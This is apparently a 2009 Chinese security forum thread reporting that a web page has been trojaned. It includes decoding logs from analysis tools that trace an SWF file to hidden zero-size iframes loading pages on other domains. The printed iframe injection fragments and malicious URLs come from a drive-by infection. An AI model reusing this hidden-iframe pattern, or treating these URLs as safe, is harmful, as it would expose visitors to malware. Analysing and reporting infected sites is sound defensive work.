http://www.east128.com/qy/zqxuexiao/index4.htm

显示全部楼层 · 发表于 2009-11-11 10:38:50

http://www.east128.com/qy/zqxuexiao/index4.htm 此网站已经被挂马

显示全部楼层 · 发表于 2009-11-11 10:48:34

原始 - http://www.east128.com/qy/zqxuexiao/index4.htm
开始自动解析 - http://www.east128.com/qy/zqxuexiao/index4.htm
L1 - 正在解析 http://www.east128.com/qy/zqxuexiao/1.swf
NATIVE AUTO XOR - 高度可疑 - http://www.haojiaju.com.cn/001/ma.htmlwidth=0height=0></iframe><iframesrc=http://web.59cn.cn/7048653/1.htmwidth=0height=0></iframe><iframesrc=http://127.0.0.1/m.htmwidth=0height=0></iframe>
L1 - http://www.east128.com/qy/zqxuexiao/untitled

输出的对象 - http://www.haojiaju.com.cn/001/ma.htmlwidth=0height=0></iframe><iframesrc=http://web.59cn.cn/7048653/1.htmwidth=0height=0></iframe><iframesrc=http://127.0.0.1/m.htmwidth=0height=0></iframe>

此分析日志由 chinese 使用 Astox v1 Build 1200 在 2009年11月10日18时47分11秒生成。

显示全部楼层 · 发表于 2009-11-11 10:54:16

关于:hxxp://www.east128.com/qy/zqxuexiao/index4.htm解密的日志(全体输出 -  6):

Level  0>http://www.east128.com/qy/zqxuexiao/index4.htm
Level  1>http://www.east128.com/qy/zqxuexiao/1.swf
Level  2>http://p://127.0.0.1/m.htm
Level  2>hXXp://p://web.59cn.cn/7048653/1.htm
Level  2>hXXp://p://www.haojiaju.com.cn/001/ma.html
Level  1>http://www.east128.com/qy/zqxuexiao/untitled

日志由 Redoce2.0第58次修正版于 2009/11/11 10:53:33 生成。

肯定有问题，但网页总是读取代码失败...

[其它] http://www.east128.com/qy/zqxuexiao/index4.htm